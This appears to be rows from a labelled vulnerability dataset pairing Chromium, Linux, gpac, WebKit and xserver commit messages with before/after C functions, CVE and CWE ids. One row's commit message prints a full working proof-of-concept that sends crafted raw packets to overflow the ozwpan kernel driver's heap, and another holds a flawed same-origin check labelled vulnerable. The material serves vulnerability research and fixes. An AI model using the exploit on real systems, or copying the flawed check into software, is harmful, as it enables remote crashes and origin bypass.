[JSC] Implement a helper method createNotEnoughArgumentsError() https://bugs.webkit.org/show_bug.cgi?id=85102 Reviewed by Geoffrey Garen. In bug 84787, kbr@ requested to avoid hard-coding createTypeError(exec, "Not enough arguments") here and there. This patch implements createNotEnoughArgumentsError(exec) and uses it in JSC bindings. c.f. a corresponding bug for V8 bindings is bug 85097. Source/JavaScriptCore: * runtime/Error.cpp: (JSC::createNotEnoughArgumentsError): (JSC): * runtime/Error.h: (JSC): Source/WebCore: Test: bindings/scripts/test/TestObj.idl * bindings/scripts/CodeGeneratorJS.pm: Modified as described above. (GenerateArgumentsCountCheck): * bindings/js/JSDataViewCustom.cpp: Ditto. (WebCore::getDataViewMember): (WebCore::setDataViewMember): * bindings/js/JSDeprecatedPeerConnectionCustom.cpp: (WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection): * bindings/js/JSDirectoryEntryCustom.cpp: (WebCore::JSDirectoryEntry::getFile): (WebCore::JSDirectoryEntry::getDirectory): * bindings/js/JSSharedWorkerCustom.cpp: (WebCore::JSSharedWorkerConstructor::constructJSSharedWorker): * bindings/js/JSWebKitMutationObserverCustom.cpp: (WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver): (WebCore::JSWebKitMutationObserver::observe): * bindings/js/JSWorkerCustom.cpp: (WebCore::JSWorkerConstructor::constructJSWorker): * bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests. (WebCore::jsFloat64ArrayPrototypeFunctionFoo): * bindings/scripts/test/JS/JSTestActiveDOMObject.cpp: (WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction): (WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage): * bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp: (WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction): * bindings/scripts/test/JS/JSTestEventTarget.cpp: (WebCore::jsTestEventTargetPrototypeFunctionItem): (WebCore::jsTestEventTargetPrototypeFunctionAddEventListener): (WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener): (WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent): * bindings/scripts/test/JS/JSTestInterface.cpp: (WebCore::JSTestInterfaceConstructor::constructJSTestInterface): (WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2): * bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp: (WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod): * bindings/scripts/test/JS/JSTestNamedConstructor.cpp: (WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor): * bindings/scripts/test/JS/JSTestObj.cpp: (WebCore::JSTestObjConstructor::constructJSTestObj): (WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg): (WebCore::jsTestObjPrototypeFunctionMethodReturningSequence): (WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows): (WebCore::jsTestObjPrototypeFunctionSerializedValue): (WebCore::jsTestObjPrototypeFunctionIdbKey): (WebCore::jsTestObjPrototypeFunctionOptionsObject): (WebCore::jsTestObjPrototypeFunctionAddEventListener): (WebCore::jsTestObjPrototypeFunctionRemoveEventListener): (WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg): (WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs): (WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg): (WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod1): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod2): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod3): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod4): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod5): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod6): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod7): (WebCore::jsTestObjConstructorFunctionClassMethod2): (WebCore::jsTestObjConstructorFunctionOverloadedMethod11): (WebCore::jsTestObjConstructorFunctionOverloadedMethod12): (WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray): (WebCore::jsTestObjPrototypeFunctionConvert1): (WebCore::jsTestObjPrototypeFunctionConvert2): (WebCore::jsTestObjPrototypeFunctionConvert3): (WebCore::jsTestObjPrototypeFunctionConvert4): (WebCore::jsTestObjPrototypeFunctionConvert5): (WebCore::jsTestObjPrototypeFunctionStrictFunction): * bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp: (WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface): (WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList): git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538
JSValue JSTestEventTarget::getConstructor(ExecState* exec, JSGlobalObject* globalObject) { return getDOMConstructor<JSTestEventTargetConstructor>(exec, jsCast<JSDOMGlobalObject*>(globalObject)); }
JSValue JSTestEventTarget::getConstructor(ExecState* exec, JSGlobalObject* globalObject) { return getDOMConstructor<JSTestEventTargetConstructor>(exec, jsCast<JSDOMGlobalObject*>(globalObject)); }
C
Chrome
0
CVE-2018-13006
https://www.cvedetails.com/cve/CVE-2018-13006/
CWE-125
https://github.com/gpac/gpac/commit/bceb03fd2be95097a7b409ea59914f332fb6bc86
bceb03fd2be95097a7b409ea59914f332fb6bc86
fixed 2 possible heap overflows (inc. #1088)
GF_Err trak_Write(GF_Box *s, GF_BitStream *bs) { GF_Err e; GF_TrackBox *ptr = (GF_TrackBox *)s; e = gf_isom_box_write_header(s, bs); if (e) return e; if (ptr->Header) { e = gf_isom_box_write((GF_Box *) ptr->Header, bs); if (e) return e; } if (ptr->References) { e = gf_isom_box_write((GF_Box *) ptr->References, bs); if (e) return e; } if (ptr->editBox) { e = gf_isom_box_write((GF_Box *) ptr->editBox, bs); if (e) return e; } if (ptr->Media) { e = gf_isom_box_write((GF_Box *) ptr->Media, bs); if (e) return e; } if (ptr->meta) { e = gf_isom_box_write((GF_Box *) ptr->meta, bs); if (e) return e; } if (ptr->groups) { e = gf_isom_box_write((GF_Box *) ptr->groups, bs); if (e) return e; } if (ptr->udta) { e = gf_isom_box_write((GF_Box *) ptr->udta, bs); if (e) return e; } return GF_OK; }
GF_Err trak_Write(GF_Box *s, GF_BitStream *bs) { GF_Err e; GF_TrackBox *ptr = (GF_TrackBox *)s; e = gf_isom_box_write_header(s, bs); if (e) return e; if (ptr->Header) { e = gf_isom_box_write((GF_Box *) ptr->Header, bs); if (e) return e; } if (ptr->References) { e = gf_isom_box_write((GF_Box *) ptr->References, bs); if (e) return e; } if (ptr->editBox) { e = gf_isom_box_write((GF_Box *) ptr->editBox, bs); if (e) return e; } if (ptr->Media) { e = gf_isom_box_write((GF_Box *) ptr->Media, bs); if (e) return e; } if (ptr->meta) { e = gf_isom_box_write((GF_Box *) ptr->meta, bs); if (e) return e; } if (ptr->groups) { e = gf_isom_box_write((GF_Box *) ptr->groups, bs); if (e) return e; } if (ptr->udta) { e = gf_isom_box_write((GF_Box *) ptr->udta, bs); if (e) return e; } return GF_OK; }
C
gpac
0
null
null
null
https://github.com/chromium/chromium/commit/27c68f543e5eba779902447445dfb05ec3f5bf75
27c68f543e5eba779902447445dfb05ec3f5bf75
Revert of Add accelerated VP9 decode infrastructure and an implementation for VA-API. (patchset #7 id:260001 of https://codereview.chromium.org/1318863003/ ) Reason for revert: I think this patch broke compile step for Chromium Linux ChromeOS MSan Builder. First failing build: http://build.chromium.org/p/chromium.memory.fyi/builders/Chromium%20Linux%20ChromeOS%20MSan%20Builder/builds/8310 All recent builds: http://build.chromium.org/p/chromium.memory.fyi/builders/Chromium%20Linux%20ChromeOS%20MSan%20Builder?numbuilds=200 Sorry for the revert. I'll re-revert if I'm wrong. Cheers, Tommy Original issue's description: > Add accelerated VP9 decode infrastructure and an implementation for VA-API. > > - Add a hardware/platform-independent VP9Decoder class and related > infrastructure, implementing AcceleratedVideoDecoder interface. VP9Decoder > performs the initial stages of the decode process, which are to be done > on host/in software, such as stream parsing and reference frame management. > > - Add a VP9Accelerator interface, used by the VP9Decoder to offload the > remaining stages of the decode process to hardware. VP9Accelerator > implementations are platform-specific. > > - Add the first implementation of VP9Accelerator - VaapiVP9Accelerator - and > integrate it with VaapiVideoDecodeAccelerator, for devices which provide > hardware VP9 acceleration through VA-API. Hook it up to the new > infrastructure and VP9Decoder. > > - Extend Vp9Parser to provide functionality required by VP9Decoder and > VP9Accelerator, including superframe parsing, handling of loop filter > and segmentation initialization, state persistence across frames and > resetting when needed. Also add code calculating segmentation dequants > and loop filter levels. > > - Update vp9_parser_unittest to the new Vp9Parser interface and flow. > > TEST=vp9_parser_unittest,vda_unittest,Chrome VP9 playback > BUG=chrome-os-partner:41469,chrome-os-partner:41470,chromium:525331 > TBR=dpranke@chromium.org > > Committed: https://crrev.com/e3cc0a661b8abfdc74f569940949bc1f336ece40 > Cr-Commit-Position: refs/heads/master@{#349312} TBR=wuchengli@chromium.org,kcwu@chromium.org,sandersd@chromium.org,jorgelo@chromium.org,posciak@chromium.org NOPRESUBMIT=true NOTREECHECKS=true NOTRY=true BUG=chrome-os-partner:41469,chrome-os-partner:41470,chromium:525331 Review URL: https://codereview.chromium.org/1357513002 Cr-Commit-Position: refs/heads/master@{#349443}
VaapiWrapper::VADisplayState::~VADisplayState() {}
VaapiWrapper::VADisplayState::~VADisplayState() {}
C
Chrome
0
CVE-2016-1658
https://www.cvedetails.com/cve/CVE-2016-1658/
CWE-284
https://github.com/chromium/chromium/commit/5c437bcc7a51edbef45242c5173cf7871fde2866
5c437bcc7a51edbef45242c5173cf7871fde2866
Make extensions use a correct same-origin check. GURL::GetOrigin does not do the right thing for all types of URLs. BUG=573317 Review URL: https://codereview.chromium.org/1658913002 Cr-Commit-Position: refs/heads/master@{#373381}
void ExtensionOptionsGuest::DidNavigateMainFrame( const content::LoadCommittedDetails& details, const content::FrameNavigateParams& params) { if (attached()) { auto guest_zoom_controller = ui_zoom::ZoomController::FromWebContents(web_contents()); guest_zoom_controller->SetZoomMode( ui_zoom::ZoomController::ZOOM_MODE_ISOLATED); SetGuestZoomLevelToMatchEmbedder(); if (!url::IsSameOriginWith(params.url, options_page_)) { bad_message::ReceivedBadMessage(web_contents()->GetRenderProcessHost(), bad_message::EOG_BAD_ORIGIN); } } }
void ExtensionOptionsGuest::DidNavigateMainFrame( const content::LoadCommittedDetails& details, const content::FrameNavigateParams& params) { if (attached()) { auto guest_zoom_controller = ui_zoom::ZoomController::FromWebContents(web_contents()); guest_zoom_controller->SetZoomMode( ui_zoom::ZoomController::ZOOM_MODE_ISOLATED); SetGuestZoomLevelToMatchEmbedder(); if (params.url.GetOrigin() != options_page_.GetOrigin()) { bad_message::ReceivedBadMessage(web_contents()->GetRenderProcessHost(), bad_message::EOG_BAD_ORIGIN); } } }
C
Chrome
1
CVE-2011-3619
https://www.cvedetails.com/cve/CVE-2011-3619/
CWE-20
https://github.com/torvalds/linux/commit/a5b2c5b2ad5853591a6cac6134cd0f599a720865
a5b2c5b2ad5853591a6cac6134cd0f599a720865
AppArmor: fix oops in apparmor_setprocattr When invalid parameters are passed to apparmor_setprocattr a NULL deref oops occurs when it tries to record an audit message. This is because it is passing NULL for the profile parameter for aa_audit. But aa_audit now requires that the profile passed is not NULL. Fix this by passing the current profile on the task that is trying to setprocattr. Signed-off-by: Kees Cook <kees@ubuntu.com> Signed-off-by: John Johansen <john.johansen@canonical.com> Cc: stable@kernel.org Signed-off-by: James Morris <jmorris@namei.org>
static int apparmor_path_chown(struct path *path, uid_t uid, gid_t gid) { struct path_cond cond = { path->dentry->d_inode->i_uid, path->dentry->d_inode->i_mode }; if (!mediated_filesystem(path->dentry->d_inode)) return 0; return common_perm(OP_CHOWN, path, AA_MAY_CHOWN, &cond); }
static int apparmor_path_chown(struct path *path, uid_t uid, gid_t gid) { struct path_cond cond = { path->dentry->d_inode->i_uid, path->dentry->d_inode->i_mode }; if (!mediated_filesystem(path->dentry->d_inode)) return 0; return common_perm(OP_CHOWN, path, AA_MAY_CHOWN, &cond); }
C
linux
0
CVE-2015-8845
https://www.cvedetails.com/cve/CVE-2015-8845/
CWE-284
https://github.com/torvalds/linux/commit/7f821fc9c77a9b01fe7b1d6e72717b33d8d64142
7f821fc9c77a9b01fe7b1d6e72717b33d8d64142
powerpc/tm: Check for already reclaimed tasks Currently we can hit a scenario where we'll tm_reclaim() twice. This results in a TM bad thing exception because the second reclaim occurs when not in suspend mode. The scenario in which this can happen is the following. We attempt to deliver a signal to userspace. To do this we need obtain the stack pointer to write the signal context. To get this stack pointer we must tm_reclaim() in case we need to use the checkpointed stack pointer (see get_tm_stackpointer()). Normally we'd then return directly to userspace to deliver the signal without going through __switch_to(). Unfortunatley, if at this point we get an error (such as a bad userspace stack pointer), we need to exit the process. The exit will result in a __switch_to(). __switch_to() will attempt to save the process state which results in another tm_reclaim(). This tm_reclaim() now causes a TM Bad Thing exception as this state has already been saved and the processor is no longer in TM suspend mode. Whee! This patch checks the state of the MSR to ensure we are TM suspended before we attempt the tm_reclaim(). If we've already saved the state away, we should no longer be in TM suspend mode. This has the additional advantage of checking for a potential TM Bad Thing exception. Found using syscall fuzzer. Fixes: fb09692e71f1 ("powerpc: Add reclaim and recheckpoint functions for context switching transactional memory processes") Cc: stable@vger.kernel.org # v3.9+ Signed-off-by: Michael Neuling <mikey@neuling.org> Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
void restore_tm_state(struct pt_regs *regs) { unsigned long msr_diff; clear_thread_flag(TIF_RESTORE_TM); if (!MSR_TM_ACTIVE(regs->msr)) return; msr_diff = current->thread.ckpt_regs.msr & ~regs->msr; msr_diff &= MSR_FP | MSR_VEC | MSR_VSX; if (msr_diff & MSR_FP) { fp_enable(); load_fp_state(&current->thread.fp_state); regs->msr |= current->thread.fpexc_mode; } if (msr_diff & MSR_VEC) { vec_enable(); load_vr_state(&current->thread.vr_state); } regs->msr |= msr_diff; }
void restore_tm_state(struct pt_regs *regs) { unsigned long msr_diff; clear_thread_flag(TIF_RESTORE_TM); if (!MSR_TM_ACTIVE(regs->msr)) return; msr_diff = current->thread.ckpt_regs.msr & ~regs->msr; msr_diff &= MSR_FP | MSR_VEC | MSR_VSX; if (msr_diff & MSR_FP) { fp_enable(); load_fp_state(&current->thread.fp_state); regs->msr |= current->thread.fpexc_mode; } if (msr_diff & MSR_VEC) { vec_enable(); load_vr_state(&current->thread.vr_state); } regs->msr |= msr_diff; }
C
linux
0
CVE-2017-12182
https://www.cvedetails.com/cve/CVE-2017-12182/
CWE-20
https://cgit.freedesktop.org/xorg/xserver/commit/?id=1b1d4c04695dced2463404174b50b3581dbd857b
1b1d4c04695dced2463404174b50b3581dbd857b
null
ProcXF86DRIAuthConnection(register ClientPtr client) { xXF86DRIAuthConnectionReply rep = { .type = X_Reply, .sequenceNumber = client->sequence, .length = 0, .authenticated = 1 }; REQUEST(xXF86DRIAuthConnectionReq); REQUEST_SIZE_MATCH(xXF86DRIAuthConnectionReq); if (stuff->screen >= screenInfo.numScreens) { client->errorValue = stuff->screen; return BadValue; } if (!DRIAuthConnection(screenInfo.screens[stuff->screen], stuff->magic)) { ErrorF("Failed to authenticate %lu\n", (unsigned long) stuff->magic); rep.authenticated = 0; } WriteToClient(client, sizeof(xXF86DRIAuthConnectionReply), &rep); return Success; }
ProcXF86DRIAuthConnection(register ClientPtr client) { xXF86DRIAuthConnectionReply rep = { .type = X_Reply, .sequenceNumber = client->sequence, .length = 0, .authenticated = 1 }; REQUEST(xXF86DRIAuthConnectionReq); REQUEST_SIZE_MATCH(xXF86DRIAuthConnectionReq); if (stuff->screen >= screenInfo.numScreens) { client->errorValue = stuff->screen; return BadValue; } if (!DRIAuthConnection(screenInfo.screens[stuff->screen], stuff->magic)) { ErrorF("Failed to authenticate %lu\n", (unsigned long) stuff->magic); rep.authenticated = 0; } WriteToClient(client, sizeof(xXF86DRIAuthConnectionReply), &rep); return Success; }
C
xserver
0
CVE-2015-4001
https://www.cvedetails.com/cve/CVE-2015-4001/
CWE-189
https://github.com/torvalds/linux/commit/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
ozwpan: Use unsigned ints to prevent heap overflow Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(2), .total_size = htole16(1), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
static void oz_clean_endpoints_for_interface(struct usb_hcd *hcd, struct oz_port *port, int if_ix) { struct oz_hcd *ozhcd = port->ozhcd; unsigned mask; int i; LIST_HEAD(ep_list); struct oz_endpoint *ep, *n; oz_dbg(ON, "Deleting endpoints for interface %d\n", if_ix); if (if_ix >= port->num_iface) return; spin_lock_bh(&ozhcd->hcd_lock); mask = port->iface[if_ix].ep_mask; port->iface[if_ix].ep_mask = 0; for (i = 0; i < OZ_NB_ENDPOINTS; i++) { struct list_head *e; /* Gather OUT endpoints. */ if ((mask & (1<<i)) && port->out_ep[i]) { e = &port->out_ep[i]->link; port->out_ep[i] = NULL; /* Remove from isoc list if present. */ list_move_tail(e, &ep_list); } /* Gather IN endpoints. */ if ((mask & (1<<(i+OZ_NB_ENDPOINTS))) && port->in_ep[i]) { e = &port->in_ep[i]->link; port->in_ep[i] = NULL; list_move_tail(e, &ep_list); } } spin_unlock_bh(&ozhcd->hcd_lock); list_for_each_entry_safe(ep, n, &ep_list, link) { list_del_init(&ep->link); oz_ep_free(port, ep); } }
static void oz_clean_endpoints_for_interface(struct usb_hcd *hcd, struct oz_port *port, int if_ix) { struct oz_hcd *ozhcd = port->ozhcd; unsigned mask; int i; LIST_HEAD(ep_list); struct oz_endpoint *ep, *n; oz_dbg(ON, "Deleting endpoints for interface %d\n", if_ix); if (if_ix >= port->num_iface) return; spin_lock_bh(&ozhcd->hcd_lock); mask = port->iface[if_ix].ep_mask; port->iface[if_ix].ep_mask = 0; for (i = 0; i < OZ_NB_ENDPOINTS; i++) { struct list_head *e; /* Gather OUT endpoints. */ if ((mask & (1<<i)) && port->out_ep[i]) { e = &port->out_ep[i]->link; port->out_ep[i] = NULL; /* Remove from isoc list if present. */ list_move_tail(e, &ep_list); } /* Gather IN endpoints. */ if ((mask & (1<<(i+OZ_NB_ENDPOINTS))) && port->in_ep[i]) { e = &port->in_ep[i]->link; port->in_ep[i] = NULL; list_move_tail(e, &ep_list); } } spin_unlock_bh(&ozhcd->hcd_lock); list_for_each_entry_safe(ep, n, &ep_list, link) { list_del_init(&ep->link); oz_ep_free(port, ep); } }
C
linux
0
null
null
null
https://github.com/chromium/chromium/commit/f2f703241635fa96fa630b83afcc9a330cc21b7e
f2f703241635fa96fa630b83afcc9a330cc21b7e
CrOS Shelf: Get rid of 'split view' mode for shelf background In the new UI, "maximized" and "split view" are treated the same in specs, so there is no more need for a separate "split view" mode. This folds it into the "maximized" mode. Note that the only thing that _seems_ different in shelf_background_animator is ShelfBackgroundAnimator::kMaxAlpha (255) vs kShelfTranslucentMaximizedWindow (254), which should be virtually impossible to distinguish. This CL therefore does not have any visual effect (and doesn't directly fix the linked bug, but is relevant). Bug: 899289 Change-Id: I60947338176ac15ca016b1ba4edf13d16362cb24 Reviewed-on: https://chromium-review.googlesource.com/c/1469741 Commit-Queue: Xiyuan Xia <xiyuan@chromium.org> Reviewed-by: Xiyuan Xia <xiyuan@chromium.org> Auto-Submit: Manu Cornet <manucornet@chromium.org> Cr-Commit-Position: refs/heads/master@{#631752}
aura::Window* CreateTestWindowInParent(aura::Window* root_window) { aura::Window* window = window_factory::NewWindow().release(); window->SetProperty(aura::client::kShowStateKey, ui::SHOW_STATE_NORMAL); window->SetType(aura::client::WINDOW_TYPE_NORMAL); window->Init(ui::LAYER_TEXTURED); aura::client::ParentWindowWithContext(window, root_window, gfx::Rect()); return window; }
aura::Window* CreateTestWindowInParent(aura::Window* root_window) { aura::Window* window = window_factory::NewWindow().release(); window->SetProperty(aura::client::kShowStateKey, ui::SHOW_STATE_NORMAL); window->SetType(aura::client::WINDOW_TYPE_NORMAL); window->Init(ui::LAYER_TEXTURED); aura::client::ParentWindowWithContext(window, root_window, gfx::Rect()); return window; }
C
Chrome
0
CVE-2011-4112
https://www.cvedetails.com/cve/CVE-2011-4112/
CWE-264
https://github.com/torvalds/linux/commit/550fd08c2cebad61c548def135f67aba284c6162
550fd08c2cebad61c548def135f67aba284c6162
net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared After the last patch, We are left in a state in which only drivers calling ether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real hardware call ether_setup for their net_devices and don't hold any state in their skbs. There are a handful of drivers that violate this assumption of course, and need to be fixed up. This patch identifies those drivers, and marks them as not being able to support the safe transmission of skbs by clearning the IFF_TX_SKB_SHARING flag in priv_flags Signed-off-by: Neil Horman <nhorman@tuxdriver.com> CC: Karsten Keil <isdn@linux-pingi.de> CC: "David S. Miller" <davem@davemloft.net> CC: Jay Vosburgh <fubar@us.ibm.com> CC: Andy Gospodarek <andy@greyhouse.net> CC: Patrick McHardy <kaber@trash.net> CC: Krzysztof Halasa <khc@pm.waw.pl> CC: "John W. Linville" <linville@tuxdriver.com> CC: Greg Kroah-Hartman <gregkh@suse.de> CC: Marcel Holtmann <marcel@holtmann.org> CC: Johannes Berg <johannes@sipsolutions.net> Signed-off-by: David S. Miller <davem@davemloft.net>
static int ifb_open(struct net_device *dev) { struct ifb_private *dp = netdev_priv(dev); tasklet_init(&dp->ifb_tasklet, ri_tasklet, (unsigned long)dev); __skb_queue_head_init(&dp->rq); __skb_queue_head_init(&dp->tq); netif_start_queue(dev); return 0; }
static int ifb_open(struct net_device *dev) { struct ifb_private *dp = netdev_priv(dev); tasklet_init(&dp->ifb_tasklet, ri_tasklet, (unsigned long)dev); __skb_queue_head_init(&dp->rq); __skb_queue_head_init(&dp->tq); netif_start_queue(dev); return 0; }
C
linux
0
CVE-2013-0838
https://www.cvedetails.com/cve/CVE-2013-0838/
CWE-264
https://github.com/chromium/chromium/commit/0bd1a6ddb5fb23dfea3e72d60e5e8df4cf5826bc
0bd1a6ddb5fb23dfea3e72d60e5e8df4cf5826bc
Make shared memory segments writable only by their rightful owners. BUG=143859 TEST=Chrome's UI still works on Linux and Chrome OS Review URL: https://chromiumcodereview.appspot.com/10854242 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@158289 0039d316-1c4b-4281-b951-d872f2087c98
XID GetX11RootWindow() { return DefaultRootWindow(GetXDisplay()); }
XID GetX11RootWindow() { return DefaultRootWindow(GetXDisplay()); }
C
Chrome
0
CVE-2019-13233
https://www.cvedetails.com/cve/CVE-2019-13233/
CWE-362
https://github.com/torvalds/linux/commit/de9f869616dd95e95c00bdd6b0fcd3421e8a4323
de9f869616dd95e95c00bdd6b0fcd3421e8a4323
x86/insn-eval: Fix use-after-free access to LDT entry get_desc() computes a pointer into the LDT while holding a lock that protects the LDT from being freed, but then drops the lock and returns the (now potentially dangling) pointer to its caller. Fix it by giving the caller a copy of the LDT entry instead. Fixes: 670f928ba09b ("x86/insn-eval: Add utility function to get segment descriptor") Cc: stable@vger.kernel.org Signed-off-by: Jann Horn <jannh@google.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
static bool check_seg_overrides(struct insn *insn, int regoff) { if (regoff == offsetof(struct pt_regs, di) && is_string_insn(insn)) return false; return true; }
static bool check_seg_overrides(struct insn *insn, int regoff) { if (regoff == offsetof(struct pt_regs, di) && is_string_insn(insn)) return false; return true; }
C
linux
0
null
null
null
https://github.com/chromium/chromium/commit/f2f703241635fa96fa630b83afcc9a330cc21b7e
f2f703241635fa96fa630b83afcc9a330cc21b7e
CrOS Shelf: Get rid of 'split view' mode for shelf background In the new UI, "maximized" and "split view" are treated the same in specs, so there is no more need for a separate "split view" mode. This folds it into the "maximized" mode. Note that the only thing that _seems_ different in shelf_background_animator is ShelfBackgroundAnimator::kMaxAlpha (255) vs kShelfTranslucentMaximizedWindow (254), which should be virtually impossible to distinguish. This CL therefore does not have any visual effect (and doesn't directly fix the linked bug, but is relevant). Bug: 899289 Change-Id: I60947338176ac15ca016b1ba4edf13d16362cb24 Reviewed-on: https://chromium-review.googlesource.com/c/1469741 Commit-Queue: Xiyuan Xia <xiyuan@chromium.org> Reviewed-by: Xiyuan Xia <xiyuan@chromium.org> Auto-Submit: Manu Cornet <manucornet@chromium.org> Cr-Commit-Position: refs/heads/master@{#631752}
